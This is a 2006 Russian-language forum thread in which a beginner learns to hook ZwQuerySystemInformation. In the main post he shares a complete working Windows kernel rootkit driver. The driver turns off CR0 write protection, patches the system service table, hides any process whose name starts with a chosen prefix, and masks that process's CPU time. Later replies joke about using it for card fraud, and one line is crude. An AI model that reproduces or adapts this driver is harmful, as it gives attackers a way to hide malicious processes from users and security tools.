перехват ZwQuerySystemInformation

Тема в разделе "WASM.BEGINNERS", создана пользователем FromRing0, 10 окт 2006.

  1. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    гы молчу....
    Pointer to an ANSI_STRING structure to hold the converted ANSI string. If
     
  2. n0name

    n0name New Member

    Публикаций:
    0
    Увеличь NAMEPROCLEN до 40.
     
  3. censored

    censored New Member

    Публикаций:
    0
    FromRing0
    для начала (конкретно по этому коду) советую что же все таки делает эта "злосчастная" ZwQuerySystemInformation, иначе понимания совсем не будет.

    PS как то не охота запускать трояны от таких пионеров :)
     
  4. n0name

    n0name New Member

    Публикаций:
    0
    сделал
    Дык учи Си. Он и передает адрес ANSI_STRING.
     
  5. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    не помогло.

    :dntknw: не понял...
     
  6. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    :))
     
  7. censored

    censored New Member

    Публикаций:
    0
    советую разобраться что делает Zw...
     
  8. n0name

    n0name New Member

    Публикаций:
    0
    А мне вообще неохота запускать трояны на своей машине =)
     
  9. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    ок щяс
     
  10. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    ZwQuerySystemInformation is the source of much of the information displayed by
    “Performance Monitor”for the classes Cache,Memory,Objects,Paging File,Process,
    Processor,System,and Thread.It is also frequently used by resource kit utilities that
    display information about the system.
    Тут понятно что эта функция даёт обширную информацию о системе : потоки,объекты,память,кэш,процессы и тд.
    The ReturnLength information is not always valid (depending on the information
    class),even when the routine returns STATUS_SUCCESS.When the return value indicates
    STATUS_INFO_LENGTH_MISMATCH,only some of the information classes return an estimate
    of the required length.
    Some information classes are implemented only in the “checked”version of the
    kernel.Some,such as SystemCallCounts,return useful information only in “checked”
    versions of the kernel. // тут про флаги и "версии" ядер
    Some information classes require certain flags to have been set in NtGlobalFlags at
    boot time.For example,SystemObjectInformation requires that
    FLG_MAINTAIN_OBJECT_TYPELIST be set at boot time.
    Information class SystemNotImplemented1 (4) would return STATUS_NOT_IMPLEMENTED
    if it were not for the fact that it uses DbgPrint to print the text “EX:
    SystemPathInformation now available via SharedUserData.”and then calls
    DbgBreakPoint.The breakpoint exception is caught by a frame based exception handler
    (in the absence of intervention by a debugger) and causes ZwQuerySystemInformation
    to return with STATUS_BREAKPOINT

    а вот дальше не понял :dntknw: ...есть инфа на русском ?
     
  11. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    В принципе нашёл NativeAPI.pdf там конкретно всё описываеться про ZwQuerySystemInformation, но на английском...
    censored дай ещё подсказок пзл :)
     
  12. censored

    censored New Member

    Публикаций:
    0
    hint: учите английский ;)
     
  13. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    УРААААААААААААААААААААА получилось ! прячет всё нафик :)
    Код (Text):
    1. #include "ntddk.h"
    2.  
    3. #define DWORD unsigned long
    4. #define WORD unsigned short
    5. #define BOOL unsigned long
    6.  
    7. #pragma pack(1)
    8. typedef struct ServiceDescriptorEntry {
    9.     unsigned int *ServiceTableBase;
    10.     unsigned int *ServiceCounterTableBase; //Used only in checked build
    11.     unsigned int NumberOfServices;
    12.     unsigned char *ParamTableBase;
    13. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
    14. #pragma pack()
    15.  
    16. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
    17. #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
    18.  
    19. // Length of process name (rounded up to next DWORD)
    20. #define PROCNAMELEN     40
    21. // Maximum length of NT process name
    22. #define NT_PROCNAMELEN  16
    23.  
    24. ULONG gProcessNameOffset;
    25.  
    26. struct _SYSTEM_THREADS
    27. {
    28.         LARGE_INTEGER           KernelTime;
    29.         LARGE_INTEGER           UserTime;
    30.         LARGE_INTEGER           CreateTime;
    31.         ULONG                   WaitTime;
    32.         PVOID                   StartAddress;
    33.         CLIENT_ID               ClientIs;
    34.         KPRIORITY               Priority;
    35.         KPRIORITY               BasePriority;
    36.         ULONG                   ContextSwitchCount;
    37.         ULONG                   ThreadState;
    38.         KWAIT_REASON            WaitReason;
    39. };
    40.  
    41. struct _SYSTEM_PROCESSES
    42. {
    43.         ULONG                   NextEntryDelta;
    44.         ULONG                   ThreadCount;
    45.         ULONG                   Reserved[6];
    46.         LARGE_INTEGER           CreateTime;
    47.         LARGE_INTEGER           UserTime;
    48.         LARGE_INTEGER           KernelTime;
    49.         UNICODE_STRING          ProcessName;
    50.         KPRIORITY               BasePriority;
    51.         ULONG                   ProcessId;
    52.         ULONG                   InheritedFromProcessId;
    53.         ULONG                   HandleCount;
    54.         ULONG                   Reserved2[2];
    55.         VM_COUNTERS             VmCounters;
    56.         IO_COUNTERS             IoCounters; //windows 2000 only
    57.         struct _SYSTEM_THREADS  Threads[1];
    58. };
    59.  
    60. // added -Creative
    61. struct _SYSTEM_PROCESSOR_TIMES
    62. {
    63.         LARGE_INTEGER           IdleTime;
    64.         LARGE_INTEGER           KernelTime;
    65.         LARGE_INTEGER           UserTime;
    66.         LARGE_INTEGER           DpcTime;
    67.         LARGE_INTEGER           InterruptTime;
    68.         ULONG                   InterruptCount;
    69. };
    70.  
    71. // added -Creative
    72. LARGE_INTEGER                   m_UserTime;
    73. LARGE_INTEGER                   m_KernelTime;
    74.  
    75. // function prototype
    76. NTSYSAPI
    77. NTSTATUS
    78. NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,
    79.                         IN ULONG SystemInformationLength,
    80.                         OUT PULONG ReturnLength);
    81.  
    82. // typedef so we can make a working call thru the saved pointer
    83. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
    84.             ULONG SystemInformationCLass,
    85.             PVOID SystemInformation,
    86.             ULONG SystemInformationLength,
    87.             PULONG ReturnLength
    88. );
    89.  
    90. ZWQUERYSYSTEMINFORMATION    OldZwQuerySystemInformation;
    91.  
    92. /* Find the offset of the process name within the executive process
    93.    block.  We do this by searching for the first occurance of "System"
    94.    in the current process when the device driver is loaded. */
    95.  
    96. void GetProcessNameOffset()
    97. {
    98.   PEPROCESS curproc = PsGetCurrentProcess();
    99.   int i;
    100.   for( i = 0; i < 3*PAGE_SIZE; i++ )
    101.   {
    102.       if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
    103.     {
    104.       gProcessNameOffset = i;
    105.     }
    106.   }
    107. }
    108.  
    109. /* Copy the process name into the specified buffer.  */
    110.  
    111. ULONG GetProcessName( PCHAR theName )
    112. {
    113.   PEPROCESS       curproc;
    114.   char            *nameptr;
    115.   ULONG           i;
    116.   KIRQL           oldirql;
    117.  
    118.   if( gProcessNameOffset )
    119.     {
    120.       curproc = PsGetCurrentProcess();                      // PsGetCurrentProcess функция возвращяет указатель на на процесс текущего потока
    121.       nameptr   = (PCHAR) curproc + gProcessNameOffset;     // Тут не понятно
    122.       strncpy( theName, nameptr, NT_PROCNAMELEN );          // пихаем в nameptr theName ЗАЧЕМ ?
    123.       theName[NT_PROCNAMELEN] = 0;                          // Нуль строка
    124.       return TRUE;
    125.     }
    126.   return FALSE;
    127. }
    128.  
    129.  
    130. NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength)
    131. {
    132.     NTSTATUS rc;                                // NT Статус тут всё понятно
    133.     CHAR aProcessName[PROCNAMELEN];             // массив aProcessName[20] (см.#define PROCNAMELEN     20)
    134.     GetProcessName( aProcessName );             // В Функцию GetProcessName передаём массив aProcessname, помоему показывать какой процесс
    135.                                                 // запросил функцию ZwQuerySystemInformation() я прав ?
    136.     DbgPrint("Rootkit: NewZwQuerySystemInformation() from %s\n", aProcessName);
    137.                                                 // пишем в дебаг
    138.  
    139.  
    140.     rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (    // Вот тут нифига не понятно что делаеться :(
    141.                     SystemInformationClass,
    142.                     SystemInformation,
    143.                     SystemInformationLength,
    144.                     ReturnLength );
    145.  
    146.     DbgPrint("   real ZwQuerySystemInfo returned %d", rc);
    147.  
    148.     if( NT_SUCCESS( rc ) )                          // Если rc успешен %)
    149.     {
    150.         if(0 == memcmp(aProcessName, "_cool_", 6))  // Если в название процесса = _cool_ (если memcmp вернёт 0)
    151.         {
    152.             DbgPrint("Rootkit: Получина команда скрыть процесс копибара :) \n");
    153.         }
    154.         else if( 5 == SystemInformationClass )      // если 5 равен ХЗ чему , нашёл где то что SystemInformationClass это
    155.                                                     // The type of system information to be queried.The permitted values are a subset of
    156.                                                     // the enumeration SYSTEM_INFORMATION_CLASS,described in the following section. хз что это :)
    157.                                                     // SystemProcessesAndThreadsInformation это 5 ?
    158.         {
    159.             // this is a process list, look for process names that start with
    160.             // '_root_'
    161.             int iChanged = 0;
    162.             struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;     // а я то думал копибара та структура в начале кода
    163.             struct _SYSTEM_PROCESSES *prev = NULL;                                              // вторая....
    164.  
    165.             while(curr)                                                                         // пока есть кур... есть кур ? кушать куриц ? :)
    166.             {
    167.                 //struct _SYSTEM_PROCESSES *next = ((struct _SYSTEM_PROCESSES *)curr += curr->NextEntryDelta);      // АВТОР ГАД !! :) меня не обманешь
    168.  
    169.                 ANSI_STRING process_name;
    170.                 RtlUnicodeStringToAnsiString(&process_name, &(curr->ProcessName), TRUE);
    171.                 if( (0 < process_name.Length) && (255 > process_name.Length) )
    172.                 {
    173.  
    174.                     // TODO: Change the prefix of the process to hide
    175.                     if(0 == memcmp( process_name.Buffer, "_cool_", 6))
    176.                     {
    177.                         //////////////////////////////////////////////
    178.                         // we have a winner!
    179.                         //////////////////////////////////////////////
    180.                         char _output[255];
    181.                         char _pname[255];
    182.                         memset(_pname, 0, 255);
    183.                         memcpy(_pname, process_name.Buffer, process_name.Length);
    184.  
    185.                         DbgPrint("Rootkit: hiding process, pid: %d\tname: %s\r\n",curr->ProcessId,_pname);
    186.  
    187.                         iChanged = 1;
    188.  
    189.                         m_UserTime.QuadPart += curr->UserTime.QuadPart;
    190.                         m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
    191.  
    192.                         if(prev)
    193.                         {
    194.                                 if(curr->NextEntryDelta)
    195.                                 {
    196.                                         // make prev skip this entry
    197.                                         prev->NextEntryDelta += curr->NextEntryDelta;
    198.                                 }
    199.                                 else
    200.                                 {
    201.                                         // we are last, so make prev the end
    202.                                         prev->NextEntryDelta = 0;
    203.                                 }
    204.                         }
    205.                         else
    206.                         {
    207.                                 if(curr->NextEntryDelta)
    208.                                 {
    209.                                         // we are first in the list, so move it forward
    210.                                         (char *)SystemInformation += curr->NextEntryDelta;
    211.                                 }
    212.                                 else
    213.                                 {
    214.                                         // we are the only process!
    215.                                         SystemInformation = NULL;
    216.                                 }
    217.                         }
    218.                     }
    219.                 }
    220.                 else
    221.                 {
    222.                     //add the times of _root_* processes to the Idle process
    223.                     curr->UserTime.QuadPart += m_UserTime.QuadPart;
    224.                     curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
    225.                     m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
    226.                 }
    227.                 RtlFreeAnsiString(&process_name);
    228.  
    229.                 if (0 == iChanged)
    230.                     prev = curr;
    231.                 else
    232.                     iChanged = 0;
    233.  
    234.                 if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    235.                 else curr = NULL;
    236.             }
    237.         }
    238.         else if (8 == SystemInformationClass)           //SystemProcessorTimes
    239.         {
    240.             struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
    241.             times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    242.         }
    243.     }
    244.  
    245.     return rc;
    246. }
    247.  
    248. VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
    249. {
    250.     DbgPrint("Rootkit: OnUnload called\n");
    251.  
    252.     // UNProtect memory
    253.     __asm
    254.     {
    255.         push    eax
    256.         mov     eax, CR0
    257.         and     eax, 0FFFEFFFFh
    258.         mov     CR0, eax
    259.         pop     eax
    260.     }
    261.  
    262.     // put back the old function pointer
    263.     InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),
    264.                          (LONG) OldZwQuerySystemInformation);
    265.  
    266.     // REProtect memory
    267.     __asm
    268.     {
    269.         push    eax
    270.         mov     eax, CR0
    271.         or      eax, NOT 0FFFEFFFFh
    272.         mov     CR0, eax
    273.         pop     eax
    274.     }
    275. }
    276.  
    277. NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
    278. {
    279.     DbgPrint("Rootkit: WE ARE ALIVE! Let the hiding begin.\n");
    280.  
    281.     GetProcessNameOffset();
    282.  
    283.     theDriverObject->DriverUnload  = OnUnload;
    284.  
    285.     // UNProtect memory
    286.     __asm
    287.     {
    288.         push    eax
    289.         mov     eax, CR0
    290.         and     eax, 0FFFEFFFFh
    291.         mov     CR0, eax
    292.         pop     eax
    293.     }
    294.  
    295.  
    296.     OldZwQuerySystemInformation =
    297.         (ZWQUERYSYSTEMINFORMATION) InterlockedExchange(     (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),
    298.                                                             (LONG) NewZwQuerySystemInformation);
    299.     // REProtect memory
    300.     __asm
    301.     {
    302.         push    eax
    303.         mov     eax, CR0
    304.         or      eax, NOT 0FFFEFFFFh
    305.         mov     CR0, eax
    306.         pop     eax
    307.     }
    308.  
    309.     return STATUS_SUCCESS;
    310. }
     
  14. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    минет подруги даже рядом не стоял с тем кайфом что я щяс испытал :)
     
  15. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    censored, ну похвали :)
     
  16. n0name

    n0name New Member

    Публикаций:
    0
    Не флуди
     
  17. censored

    censored New Member

    Публикаций:
    0
    взял чужой код, с горем пополам скомпилировал, еле как добился его работы (еще неизвестно как он себя поведет на чужой машине), с тем, что драйвер делает не разобрался, а теперь еще и похвали?! хвалю =) можно смело бежать, снимать деньгу с кардешков.
     
  18. FromRing0

    FromRing0 New Member

    Публикаций:
    0
    :dntknw: будем работать